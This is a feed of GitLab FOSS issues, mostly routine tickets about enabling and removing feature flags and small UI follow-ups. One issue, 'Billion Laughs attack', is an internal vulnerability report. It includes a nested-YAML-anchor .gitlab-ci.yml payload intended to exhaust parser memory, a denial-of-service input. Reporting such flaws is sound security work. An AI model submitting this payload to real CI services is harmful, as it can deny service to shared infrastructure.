GitLab FOSS issueshttps://gitlab.com/gitlab-org/gitlab-foss/-/issues2024-02-07T17:35:18Zhttps://gitlab.com/gitlab-org/gitlab-foss/-/issues/63383Remove :group_clusters and :instance_clusters feature flags2024-02-07T17:35:18ZThong Kuahtkuah@gitlab.comRemove :group_clusters and :instance_clusters feature flags<!-- Title suggestion: [Feature flag] Enable description of feature -->
## What
Remove the `:group_clusters` and `:instance_clusters` feature flags
Once https://gitlab.com/gitlab-org/gitlab-ee/merge_requests/13307 is done, I believe, ...<!-- Title suggestion: [Feature flag] Enable description of feature -->
## What
Remove the `:group_clusters` and `:instance_clusters` feature flags
Once https://gitlab.com/gitlab-org/gitlab-ee/merge_requests/13307 is done, I believe, we can remove both these feature flags
## Owners
- Team: ~Configure
- Most appropriate slack channel to reach out to: `#g_configure`
- Best individual to reach out to: @tkuah
## Expectations
The feature flags are already on by default, so nothing should change
### What are we expecting to happen?
### What might happen if this goes wrong?
### What can we monitor to detect problems with this?
<!-- Which dashboards from https://dashboards.gitlab.net are most relevant? -->
## Beta groups/projects
If applicable, any groups/projects that are happy to have this feature turned on early. Some organizations may wish to test big changes they are interested in with a small subset of users ahead of time for example.
- `gitlab-org/gitlab-ce`/`gitlab-org/gitlab-ee` projects
- `gitlab-org`/`gitlab-com` groups
- ...
## Roll Out Steps
- [-] Enable on staging
- [-] Test on staging
- [-] Ensure that documentation has been updated
- [-] Enable on GitLab.com for individual groups/projects listed above and verify behaviour
- [-] Announce on the issue an estimated time this will be enabled on GitLab.com
- [-] Enable on GitLab.com by running chatops command in `#production`
- [-] Cross post chatops slack command to `#support_gitlab-com` and in your team channel
- [-] Announce on the issue that the flag has been enabled
- [ ] Remove feature flag and add changelog entry12.1Thong Kuahtkuah@gitlab.comThong Kuahtkuah@gitlab.comhttps://gitlab.com/gitlab-org/gitlab-foss/-/issues/64259Enable clusters_cte flag2024-02-07T17:34:48ZThong Kuahtkuah@gitlab.comEnable clusters_cte flag<!-- Title suggestion: [Feature flag] Enable description of feature -->
## What
Remove the `:clusters_cte` feature flag - this swaps out less performant queries with better query in `deployment_platform.rb`
See MR - https://gitlab.com...<!-- Title suggestion: [Feature flag] Enable description of feature -->
## What
Remove the `:clusters_cte` feature flag - this swaps out less performant queries with better query in `deployment_platform.rb`
See MR - https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/30063
## Owners
- Team: ~Configure
- Most appropriate slack channel to reach out to: `#g_configure`
- Best individual to reach out to: `@tkuah`
## Expectations
### What are we expecting to happen?
https://gitlab.com/gitlab-org/gitlab-ce/issues/63475 improves in performance
### What might happen if this goes wrong?
- deployment goes to incorrect cluster
### What can we monitor to detect problems with this?
<!-- Which dashboards from https://dashboards.gitlab.net are most relevant? -->
* https://dashboards.gitlab.net/d/rPsQXrImk/rails-controller?orgId=1&refresh=1m&var-env=gprd&var-type=web&var-stage=main&var-controller=Projects%3A%3AMergeRequestsController&var-action=ci_environments_status.json&from=1562568933846&to=1562590533846
## Beta groups/projects
If applicable, any groups/projects that are happy to have this feature turned on early. Some organizations may wish to test big changes they are interested in with a small subset of users ahead of time for example.
- `gitlab-org/gitlab-ce`/`gitlab-org/gitlab-ee` projects
- `gitlab-org`/`gitlab-com` groups
- ...
## Roll Out Steps
- [x] Enable on staging
- [x] Test on staging
- [ ] Ensure that documentation has been updated
- [ ] Enable on GitLab.com for individual groups/projects listed above and verify behaviour
- [x] Announce on the issue an estimated time this will be enabled on GitLab.com
- [x] Enable on GitLab.com by running chatops command in `#production`
- [x] Cross post chatops slack command to `#support_gitlab-com` and in your team channel
- [x] Announce on the issue that the flag has been enabled
- [x] Remove feature flag and add changelog entry12.1Thong Kuahtkuah@gitlab.comThong Kuahtkuah@gitlab.comhttps://gitlab.com/gitlab-org/gitlab-foss/-/issues/67352[Feature flag] Enable Jira Connect Integration2022-11-22T20:17:47ZHeinrich Lee Yuheinrich@gitlab.com[Feature flag] Enable Jira Connect Integration<!-- Title suggestion: [Feature flag] Enable description of feature -->
## What
Remove the `:jira_connect_app` feature flag ...
## Owners
- Team: ~"group::project management"
- Most appropriate slack channel to reach out to: `#g_pla...<!-- Title suggestion: [Feature flag] Enable description of feature -->
## What
Remove the `:jira_connect_app` feature flag ...
## Owners
- Team: ~"group::project management"
- Most appropriate slack channel to reach out to: `#g_plan`
- Best individual to reach out to: @engwan
## Expectations
### What are we expecting to happen?
Enables pushing of commits, branches and MR information to Jira when the app is installed.
### What might happen if this goes wrong?
Possible performance issues when pushing commits / creating MRs since the hook here to check for integrations is executed every time
## Roll Out Steps
- [x] Enable on staging
- [x] Test on staging
- [ ] Ensure that documentation has been updated
- [x] Enable on GitLab.com for individual groups/projects listed above and verify behaviour
- [x] Announce on the issue an estimated time this will be enabled on GitLab.com
- [x] Enable on GitLab.com by running chatops command in `#production`
- [x] Cross post chatops slack command to `#support_gitlab-com` and in your team channel
- [x] Announce on the issue that the flag has been enabled
- [ ] Remove feature flag and add changelog entry
- [ ] After the flag removal is deployed, [clean up the feature flag](https://docs.gitlab.com/ee/development/feature_flags/controls.html#cleaning-up) by running chatops command in `#production` channel12.4Heinrich Lee Yuheinrich@gitlab.comHeinrich Lee Yuheinrich@gitlab.comhttps://gitlab.com/gitlab-org/gitlab-foss/-/issues/56018Billion Laughs attack2021-08-20T03:38:03ZLukas 'ai-pi' Eipertleipert@gitlab.comBillion Laughs attackGitLab CI is (probably) vulnerable to the [Billion Laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack). It is a Denial Of Service Attack which might affect everything parsing our CI.yml files.
## Exploit
Using this file...GitLab CI is (probably) vulnerable to the [Billion Laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack). It is a Denial Of Service Attack which might affect everything parsing our CI.yml files.
## Exploit
Using this file as a `.gitlab-ci.yml`
```
.a: &a [echo "lol",echo "lol",echo "lol",echo "lol",echo "lol",echo "lol",echo "lol",echo "lol",echo "lol"]
.b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
.c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
.d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
.e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
.f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
.g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
.h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
.i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
.j: &j [*j,*j,*j,*j,*j,*j,*j,*j,*j]
.k: &k [*k,*k,*k,*k,*k,*k,*k,*k,*k]
bomb:
<<: .k
```
## 'Proof'
I tried it locally and quickly the memory of one of the ruby processes began to increase quite dramatically. I stopped it before machine froze.
![2019-01-07T11.21.12](/uploads/deff91f9bc29943f37874c6f5a1ee5db/2019-01-07T11.21.12.png)
## Impact
- Everything that parses `.gitlab-ci.yml` on our side, might be affected.12.0Fabio Pitinofpitino@gitlab.comFabio Pitinofpitino@gitlab.com2019-07-17https://gitlab.com/gitlab-org/gitlab-foss/-/issues/59178Multi-line suggestions feature-flag removal2020-12-07T17:23:32ZOswaldo FerreiraMulti-line suggestions feature-flag removalhttps://gitlab.com/gitlab-org/gitlab-ce/merge_requests/26107 introduces a FF to multi-line suggestions feature. Ideally this should be removed before the release (after testing phase).https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/26107 introduces a FF to multi-line suggestions feature. Ideally this should be removed before the release (after testing phase).11.10Oswaldo FerreiraOswaldo Ferreirahttps://gitlab.com/gitlab-org/gitlab-foss/-/issues/60250Remove the `mr_push_options` feature flag.2020-12-07T16:51:25ZLuke Duncalfelduncalfe@gitlab.comRemove the `mr_push_options` feature flag.### Problem to solve
Remove the `mr_push_options` feature flag.
### Intended users
All users.
### Further details
https://gitlab.com/gitlab-org/gitlab-ce/issues/43263 is behind the `mr_push_options` feature flag, enabled by default....### Problem to solve
Remove the `mr_push_options` feature flag.
### Intended users
All users.
### Further details
https://gitlab.com/gitlab-org/gitlab-ce/issues/43263 is behind the `mr_push_options` feature flag, enabled by default. When we know that there is no negative impact to services when this feature is on, we should remove it.12.0Luke Duncalfelduncalfe@gitlab.comLuke Duncalfelduncalfe@gitlab.comhttps://gitlab.com/gitlab-org/gitlab-foss/-/issues/54999Refactor the metrics dashboard chart api2020-11-16T12:57:26ZAdriel SantiagoRefactor the metrics dashboard chart apiThe following discussion from !23459 should be addressed:
- [ ] @ClemMakesApps started a [discussion](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/23459#note_122967849): (+1 comment)
> Is it possible at some point in the...The following discussion from !23459 should be addressed:
- [ ] @ClemMakesApps started a [discussion](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/23459#note_122967849): (+1 comment)
> Is it possible at some point in the future to restructure the API response so that we don't have to do so many nested loops?
Before removing the ECharts feature flag we'll want to allocate some backend time to using our new api structure so we aren't having to rework the data on the frontend.Backloghttps://gitlab.com/gitlab-org/gitlab-foss/-/issues/65457Make `ci_dag_support` be on by default2020-08-07T13:08:41ZKamil TrzcińskiMake `ci_dag_support` be on by defaultFix all outstanding related issues and make `ci_dag_support` to be enabled by default.
> The processing part of DAG is currently disabled, and can be enabled with `ci_dag_support`Fix all outstanding related issues and make `ci_dag_support` to be enabled by default.
> The processing part of DAG is currently disabled, and can be enabled with `ci_dag_support`12.2Kamil TrzcińskiKamil Trzcińskihttps://gitlab.com/gitlab-org/gitlab-foss/-/issues/65512Make `needs:` require the job it refers to by default2020-08-07T13:08:36ZKamil TrzcińskiMake `needs:` require the job it refers to by default### Summary
Currently, `needs:` is a weak requirement. It means that if `needed` job is not present,
we will ignore it and the job will run anyway.
Most people would expect `needs:` to be strong requirement, meaning that if a `needed`
...### Summary
Currently, `needs:` is a weak requirement. It means that if `needed` job is not present,
we will ignore it and the job will run anyway.
Most people would expect `needs:` to be strong requirement, meaning that if a `needed`
job does not exist (due to `only/except` rules), the job that `needs` it should also
not run.
## Today: Example
```yaml
build-a:
only: [master]
test-a:
needs: [build-a]
```
The `test-a` will be created when pushed to non-master.
## After: Example
The `test-a` will not be created, as it requires the `build-a` to function.12.2Kamil TrzcińskiKamil Trzcińskihttps://gitlab.com/gitlab-org/gitlab-foss/-/issues/56387Rename breadcrumb on operations settings page2019-09-03T16:35:02ZTristan ReadRename breadcrumb on operations settings pageThe following discussion from !24301 should be addressed:
- [ ] @winh started a [discussion](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/24301#note_131297772):
> Not directly related to this merge request (feel free to ...The following discussion from !24301 should be addressed:
- [ ] @winh started a [discussion](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/24301#note_131297772):
> Not directly related to this merge request (feel free to resolve in a follow-up issue):
>
> Should the breadcrumb of the page rather be `Settings > Operations`?
>
> ![Screen_Shot_2019-01-14_at_13.11.45](/uploads/b231e0a72ff9679e26e86328f4bec8d0/Screen_Shot_2019-01-14_at_13.11.45.png)
We will rename this to be `Operations Settings`11.9George TsiolisGeorge Tsiolishttps://gitlab.com/gitlab-org/gitlab-foss/-/issues/65991Fix get_commit_signatures feature flag2019-08-21T20:18:04ZFelipe ArturFix get_commit_signatures feature flagSome specs are failing because of `get_commit_signatures` feature flag:
https://gitlab.com/gitlab-org/gitlab-ce/-/jobs/271054310
The feature behind the flag is already on Gitaly, so we need to add the flag again and fix the specs.
T...Some specs are failing because of `get_commit_signatures` feature flag:
https://gitlab.com/gitlab-org/gitlab-ce/-/jobs/271054310
The feature behind the flag is already on Gitaly, so we need to add the flag again and fix the specs.
The following discussion from !31743 should be addressed:
- [ ] @stanhu started a [discussion](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/31743#note_202963848): (+1 comment)
> FYI @felipe_artur and @johncai. The specs were failing in https://gitlab.com/gitlab-org/gitlab-ce/-/jobs/271054310.12.2Felipe ArturFelipe Arturhttps://gitlab.com/gitlab-org/gitlab-foss/-/issues/56191Add expand and collapse functionality to Operations settings2019-08-19T20:09:28ZTristan ReadAdd expand and collapse functionality to Operations settingsOn the Operations Settings, the Incidents and Tracing sections should have 'Collapse' buttons, same as the Error Tracking and External Dashboard sections
<details>
<summary>Original description</summary>
Now that we're adding conte...On the Operations Settings, the Incidents and Tracing sections should have 'Collapse' buttons, same as the Error Tracking and External Dashboard sections
<details>
<summary>Original description</summary>
Now that we're adding content to **Settings > Operations** (gitlab-ce#55199, gitlab-ce#55177), we should provide expand/collapse functionality.
The MRs gitlab-ce!23724 and gitlab-ee!8786 added some of the necessary styles in preparation. All that's remaining to do is to add the expand/collapse buttons and the required JS.
Because of the number of options available, there are several possible default states:
| `error_tracking` status \ edition | **CE** | **EE** |
| ------ | ------ | ------ |
| **off** | page not available | expanded |
| **on** | expanded | collapsed |
</details>
12.3Simon KnoxSimon Knoxhttps://gitlab.com/gitlab-org/gitlab-foss/-/issues/65539Remove `BuildProcessWorker`2019-08-13T09:37:40ZKamil TrzcińskiRemove `BuildProcessWorker`The following discussion from !31425 should be addressed:
- [ ] @ayufan started a [discussion](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/31425#note_199668128):
> Remove `BuildProcessWorker` as this is no longer needed...The following discussion from !31425 should be addressed:
- [ ] @ayufan started a [discussion](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/31425#note_199668128):
> Remove `BuildProcessWorker` as this is no longer needed. We can remove it as this worker is just introduced, so we not gonna break any of the installs. We should only consider to wait 2-3 days before doing that, as we CD `dev.gitlab.org` and `ops.gitlab.org`.12.2https://gitlab.com/gitlab-org/gitlab-foss/-/issues/52271Remove feature flag for use_cte_for_group_issues_search2019-08-07T08:19:51ZSean McGivernRemove feature flag for use_cte_for_group_issues_searchhttps://gitlab.com/gitlab-org/gitlab-ce/merge_requests/21521 fixes a bug, but the bug was introduced by an optimisation. The optimisation looks like it's no longer necessary, from our experimentation, but it's hard to be certain as the q...https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/21521 fixes a bug, but the bug was introduced by an optimisation. The optimisation looks like it's no longer necessary, from our experimentation, but it's hard to be certain as the query is quite complicated and performs differently on the primary compared to the secondaries.
The feature flag is enabled by default, so when it's off, we're using the new code. Once we've set it to zero, and we're happy that things work, we should:
1. Remove references to the flag.
2. Revert https://gitlab.com/gitlab-org/gitlab-ce/commit/c03386c3914feca56802e6f99bbd0fd08d269472.
3. Remove it from the spec (there's a comment with a link to this issue).11.6Sean McGivernSean McGivernhttps://gitlab.com/gitlab-org/gitlab-foss/-/issues/55166Enable issue suggestions2019-08-07T08:18:57ZPhil HughesEnable issue suggestionsNow that Issue Suggestions is live in production, we need to remove the `issue_suggestions` feature flag so that it is available to everyone!
With this, we are also going to make the GraphQL flag as defaulted to on /cc @reprazentNow that Issue Suggestions is live in production, we need to remove the `issue_suggestions` feature flag so that it is available to everyone!
With this, we are also going to make the GraphQL flag as defaulted to on /cc @reprazent11.6Phil HughesPhil Hugheshttps://gitlab.com/gitlab-org/gitlab-foss/-/issues/54978Tooltip for new ECharts metrics chart2019-08-07T08:14:09ZAdriel SantiagoTooltip for new ECharts metrics chart## Topics to consider
- Do we want to customize our own tooltip implementation using ECharts mouse position api?
- Do we want to more closely emulate our existing tooltip UX?
## Previous Discussion
The following discussion from !23459...## Topics to consider
- Do we want to customize our own tooltip implementation using ECharts mouse position api?
- Do we want to more closely emulate our existing tooltip UX?
## Previous Discussion
The following discussion from !23459 should be addressed:
- [ ] @jivanvl started a [discussion](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/23459#note_122908596): (+2 comments)
> Another UX thing (I think)
>
> The flag for the old version shows the colors of the different area charts:
>
> ![Screen_Shot_2018-12-06_at_9.12.12_AM](/uploads/a0acb4f4564a248cd5ed9b82917b0814/Screen_Shot_2018-12-06_at_9.12.12_AM.png)
>
> The new one doesn't, is it possible to add it in this iteration or due to time constraints should we create a follow up issue or use an existing one?
>
> ![Screen_Shot_2018-12-06_at_9.10.40_AM](/uploads/791f50b4471095a68234fd43d2d285d3/Screen_Shot_2018-12-06_at_9.10.40_AM.png)
- Also see https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/23459#note_12290326311.7Adriel SantiagoAdriel Santiagohttps://gitlab.com/gitlab-org/gitlab-foss/-/issues/56213Remove `error_tracking` feature flag2019-08-07T08:14:03ZPeter Leitzenpleitzen@gitlab.comRemove `error_tracking` feature flagRemove the ~"feature flag" `error_tracking` we introduced for the [Sentry](https://gitlab.com/gitlab-org/gitlab-ce/issues/55177) [MVC](https://gitlab.com/gitlab-org/gitlab-ce/issues/55177) if it has been ~"Pick into 11.7" and works as ex...Remove the ~"feature flag" `error_tracking` we introduced for the [Sentry](https://gitlab.com/gitlab-org/gitlab-ce/issues/55177) [MVC](https://gitlab.com/gitlab-org/gitlab-ce/issues/55177) if it has been ~"Pick into 11.7" and works as expected.11.8Peter Leitzenpleitzen@gitlab.comPeter Leitzenpleitzen@gitlab.comhttps://gitlab.com/gitlab-org/gitlab-foss/-/issues/56072Remove `releases_page` feature flag2019-08-07T08:06:07ZShinya MaedaRemove `releases_page` feature flag### Description
We added `releases_page` feature flag in the https://gitlab.com/gitlab-org/gitlab-ce/issues/41766 gitlab-ee~992791 issue.
We should remove this feature flag between RC deployed on gitlab.com and 19th.
See more https://...### Description
We added `releases_page` feature flag in the https://gitlab.com/gitlab-org/gitlab-ce/issues/41766 gitlab-ee~992791 issue.
We should remove this feature flag between RC deployed on gitlab.com and 19th.
See more https://gitlab.com/gitlab-org/gitlab-ce/blob/master/PROCESS.md#feature-flags11.7Shinya MaedaShinya Maedahttps://gitlab.com/gitlab-org/gitlab-foss/-/issues/55230Remove feature flag from project cleanup functionality2019-08-07T08:00:45ZNick ThomasRemove feature flag from project cleanup functionalityhttps://gitlab.com/gitlab-org/gitlab-ce/merge_requests/23189 was merged behind a feature flag. We should test the feature and remove the feature flag.
cc @DouweM @jramsay
I guess we just want to enable it on staging, en-BFG a reposito...https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/23189 was merged behind a feature flag. We should test the feature and remove the feature flag.
cc @DouweM @jramsay
I guess we just want to enable it on staging, en-BFG a repository, and do some clicking around to see what happens? Or is there a more rigorous approach we could take?11.6Nick ThomasNick Thomas2018-12-19https://gitlab.com/gitlab-org/gitlab-foss/-/issues/57403Add feature flag to the merge request fuzzy file finder2019-08-07T07:59:57ZPhil HughesAdd feature flag to the merge request fuzzy file finderThe fuzzy file finder on merge request diffs is great, however there is some concern around us adding some confusion to filtering the file tree in diffs.
If we add a feature flag to the fuzzy file finder then we can toggle it off if the...The fuzzy file finder on merge request diffs is great, however there is some concern around us adding some confusion to filtering the file tree in diffs.
If we add a feature flag to the fuzzy file finder then we can toggle it off if there is any issues with people getting confused.
/cc @jramsay11.8Phil HughesPhil Hughes